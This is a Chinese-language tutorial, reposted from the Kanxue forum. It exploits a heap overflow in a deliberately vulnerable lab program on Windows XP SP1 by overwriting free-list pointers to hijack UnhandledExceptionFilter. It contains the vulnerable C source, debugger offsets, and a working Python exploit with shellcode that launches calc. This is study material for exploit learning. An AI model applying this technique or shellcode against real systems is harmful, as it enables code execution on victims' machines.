Windows XP SP1利用UEF机制进行堆溢出漏洞利用

admin 2024年9月19日16:07:02评论11 views字数 6015阅读20分3秒阅读模式

本文是对fuzzysecurity教程Heap Overflows For Humans 101学习过程的记录,希望这篇文章能给在学习堆溢出漏洞的读者有所帮助。

1

环境配置

◆Windows XP SP1

◆调试器 OllyDebugger,mona 插件

◆Visual C++ 6.0

◆Python 2.7.1

2

编译程序

#include <stdio.h>
#include <windows.h>

int foo(char *buf);

int main(int argc, char *argv[])
{
HMODULE l;
l = LoadLibrary("msvcrt.dll");
l = LoadLibrary("netapi32.dll");
printf("nnHeapoverflow program.n");
if(argc != 2)
return printf("ARGS!");
foo(argv[1]);
return 0;
}

int foo(char *buf)
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;

hp = HeapCreate(0,0x1000,0x10000);
if(!hp)
return printf("Failed to create heap.n");

h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("HEAP: %.8X %.8Xn",h1,&h1);

strcpy((char*)h1,buf);

h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("hello");
return 0;
}

编译成程序HeapOver.exe

3

定位溢出点

用 mona 插件执行命令!mona pattern_create 400生成 400 个字符。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A

用调试器打开文件,在文件窗口中的参数(Arguments)一栏输入这 400 个字符。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

点击运行,程序运行到地址0x77F5234C发生内存访问异常,第一个分配的堆块地址已经打印出来是0x003D0688。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

此时的 EAX = 0x41326A41,ECX = 316A4130,EAX 和 ECX 均被溢出数据所覆盖,所以在执行MOV DWORD PTR DS:[EAX], ECX时无法正常访问0x41326A41的数据,造成内存访问异常。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

下面使用 mona 命令!mona pattern_offset 0x41326A41计算一下 EAX 偏移值,结果为276。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

!mona pattern_offset 0x316A4130计算一下 ECX 偏移值,结果为272。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

每个堆块的起始处是一个 8 字节的 HEAP_ENTRY 结构。

kd> dt _HEAP_ENTRY
ntdll!_HEAP_ENTRY
+0x000 Size : Uint2B//堆块的大小,以分配粒度为单位
+0x002 PreviousSize : Uint2B//前一个堆块的大小
+0x004 SmallTagIndex : UChar //用于检查堆溢出的Cookie
+0x005 Flags : UChar //标志
+0x006 UnusedBytes : UChar //为了对齐而多分配的字节数
+0x007 SegmentIndex : UChar //这个堆块所在堆段的序号

为了满足 8 字节对齐,堆管理器会在第一个堆块后面填充 4 字节,也就是UnusedBytes,260 + 4 可以整除 8。根据前面的源代码可知,程序在拷贝 400 个字符串后面,分配了第二个堆内存。Windows XP 在管理堆内存时,会使用两个双链表指针,ECX 为前一指针的值,而 EAX 为后 一指针的值。

根据以上信息,可以分析通过参数传入的 400 个字符所覆盖的部分内存区域如下所示:

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

系统在管理堆时会做如下操作:

mov [ecx],eax
mov [eax+4],ecx

该操作的目的是在分配内存时改变链表的指向。堆管理的操作的本质是对链表的修改。双向链表拆卸一个节点的代码应该类似于下面的:

int remove(ListNode *node)
{
node->blink->flink = node->flink;
node->flink->blink = node->blink;
}

上面在实际环境下对应的汇编代码如下:

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

此时 EAX 是进行漏洞利用的理想溢出点,因为mov [eax],ecx可以向内存任意地址写入任意数据。例如在 ECX 写入一个函数入口点,在 EAX 写入 shellcode 地址,如下图所示。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

这样一来,在mov [eax],ecx执行后,函数入口地址就会被替换为 shellcode 的地址,现在关键的问题是如何找到可供利用的函数。

4

构造sehllcode

漏洞利用原理

在造成堆溢出后,程序遇到内存访问异常,会触发异常处理机制,调用KiUserExceptionDispatcher分发异常,当 SEH 链上的异常处理程序都未能处理异常时,系统会调用UnhandledExceptionFilter进行处理,这个函数负责显示一个错误对话框,来指出错误的原因,这就是一般的程序出错时显示错误对话框的异常处理机制,也被称作 UEF 机制。

KiUserExceptionDispatcher( PEXCEPTION_RECORD pExcptRec, CONTEXT * pContext )  
{
DWORD retValue;

// Note: If the exception is handled, RtlDispatchException() never returns
if ( RtlDispatchException( pExceptRec, pContext ) )
retValue = NtContinue( pContext, 0 );
else
retValue = NtRaiseException( pExceptRec, pContext, 0 );

EXCEPTION_RECORD excptRec2;

excptRec2.ExceptionCode = retValue;
excptRec2.ExceptionFlags = EXCEPTION_NONCONTINUABLE;
excptRec2.ExceptionRecord = pExcptRec;
excptRec2.NumberParameters = 0;

RtlRaiseException( &excptRec2 );
}

UnhandledExceptionFilter可以放在一个距离堆块数据偏移 276 个字节的位置,shellcode 的地址可以放在距离堆块数据偏移 2762 个字节的地方,如下图所示。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

这样在程序发生内存访问异常时,系统会调用UnhandledExceptionFilter函数,但因为mov [eax],ecx,UnhandledExceptionFilter函数地址所指向的内容被替换成了shellcode。因此系统在调用UnhandledExceptionFilter处理异常时,实际上是在执行 shellcode。

这就是利用 windows  UEF 机制进行堆溢出漏洞利用的基本原理。接下来需要弄清楚的是UnhandledExceptionFilter地址和 shellcode 的存放地址。

UnhandledExceptionFilter 函数地址

在 Windows XP SP1 中,系统的默认异常处理函数地址是固定的。默认异常处理指针通过如下函数来设置:

LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
[in] LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);

默认异常处理指针通过如下函数来调用:

LONG UnhandledExceptionFilter(
[in] _EXCEPTION_POINTERS *ExceptionInfo
);

在调试器搜索SetUnhandledExceptionFilter地址,UnhandledExceptionFilter地址为0x77ED73B4。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

在内存窗口查看了0x77ED73B4处的值为0x77C26E79,也就是说系统调用UnhandledExceptionFilter后会跳转到0x77C26E79执行。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

shellcode 存放地址

继续上面的调试,即在遇到内存访问错误后,按shift + F7继续调试,在77E9311E   FFD0  CALL EAX断下之后,查看 EAX 的值是0x77C26E79,这也就意味着此时UnhandledExceptionFilter的起始地址传送到了EAX 中,并通过CALL EAX进行异常处理。

查看此时的寄存器窗口,EDI 的值0x0012F8BC。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

发现EDI + 0x74即0x0012F930的值为0x003D0790,这是指向第一个堆区内部某处的指针。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

所以我们将 shellcode 存放在[EDI + 0x74],这样Call [EDI + 0x74]就可以执行 shellcode。在netapi32.dll、msvcrt.dll等动态链接库中可以找到这种指令,所以程序的源代码需要加载这些 dll,以方便利用。搜索后找到了该指令,地址为0x77C3BBAD。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

综上:

1.EAX 应该被UnhandledExceptionFilter的地址0x77ED73B4所覆盖;

2.ECX 应该被call dword ptr ds:[EDI+74]的地址0x77C3BBAD所覆盖;

3.shellcode 的起始地址应该是0x003D0790,距离第一个堆区的。

shellcode 组成

以下是一个用于测试的 shellcode ,测试一下第一次跳转是否有效,即程序调用UnhandledExceptionFilter后 exploit 能否控制程序跳转到 第一个堆区中。

exploit = ("xcc" * 272)
exploit += ("xadxbbxc3x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("xb4x73xedx77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("xcc" * 272)

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

5

漏洞利用

第一次测试

将上面生成的 exploit 调试一下发现,程序确实成功跳转到了第一个堆区中,但由于 INT 3 指令中断,无法自行向下继续执行 shellcode。即使手动向下执行,也会遇到0x77C3BBAD、0x77ED73B4这两块数据的阻碍。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

shellcode 需要修改一下,用x44 或者x90 填充缓冲区,在精准覆盖溢出点后造成堆溢出后,第一次跳转到堆区中的 shellcode 的起始地址0x003D0790,第一个堆区应该填充0x003D0790 - 0x3D0688 即 264 个字符;再经由第二个跳转指令 JMP,跳过0x77C3BBAD、0x77ED73B4这两块数据的阻碍,最终执行 payload。

确定WinExec()函数的地址

在此之前先确定WinExec()函数的地址,以方便构造一个可以弹出计算器的 payload,以检验漏洞利用是否成功。

使用 PE 工具查看系统的 kernel32.dll,加载基址为77E60000。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

WinExec()函数的偏移地址为0x0000FD35

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

所以WinExec()函数的加载地址为0x77E6FD35。

完善 shellcode

import os

calc = (
"x33xC0x50x68x63x61x6Cx63x54x5Bx50x53xB9"
"x35xFDxE6x77" # WinExec 地址
"xFFxD1x90x90")

exploit = ("x44" * 264)
exploit += "xebx14" # JMP指令,可以跳过0x14个字节
exploit += ("x44" * 6)
exploit += ("xadxbbxc3x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("xb4x73xedx77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("x90" * 21)
exploit += calc

os.system('HeapOver.exe ' + exploit)

以下是完善后的 shellcode 的执行逻辑:

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

第二次测试

将上面的 Python 脚本保存为1.py, 和程序HeapOver.exe放在同一个文件夹中,可以通过 CMD 命令执行上面的 Python 脚本弹出计算器。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

也可以生成 exploit 的字符串后,传入参数,再次调试运行,查看漏洞利用的细节。


堆溢出造成内存访问错误时,ECX = 0x77C3BBAD,EAX = 0x77ED73B4,说明精准覆盖了第二个堆块的双链表指针。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

运行到77E9311E   FFD0  CALL EAX时,EAX 的值是0x77C3BBAD,说明系统调用异常处理函数UnhandledExceptionFilter时,可以顺利跳转到CALL DWORD PTR DS:[EDI+74],执行 shellcode。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

单步执行,指令正是CALL DWORD PTR DS:[EDI+74]

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

再单步执行一次,跳转到了0x003D0790就可以看到真正的 payload

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

跳转指令执行后就可以顺利执行 payload 弹出计算器了。

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

参考链接

◆https://fuzzysecurity.com/tutorials/mr_me/2.html

◆https://blog.wohin.me/posts/0day-chp05/

◆https://www.guhei.net/post/jb634

Windows XP SP1利用UEF机制进行堆溢出漏洞利用

看雪ID:ZyOrca

https://bbs.kanxue.com/user-home-944427.htm

*本文为看雪论坛优秀文章,由 ZyOrca 原创,转载请注明来自看雪社区
Windows XP SP1利用UEF机制进行堆溢出漏洞利用

原文始发于微信公众号(看雪学苑):Windows XP SP1利用UEF机制进行堆溢出漏洞利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月19日16:07:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows XP SP1利用UEF机制进行堆溢出漏洞利用http://cn-sec.com/archives/3170272.html

发表评论

匿名网友 填写信息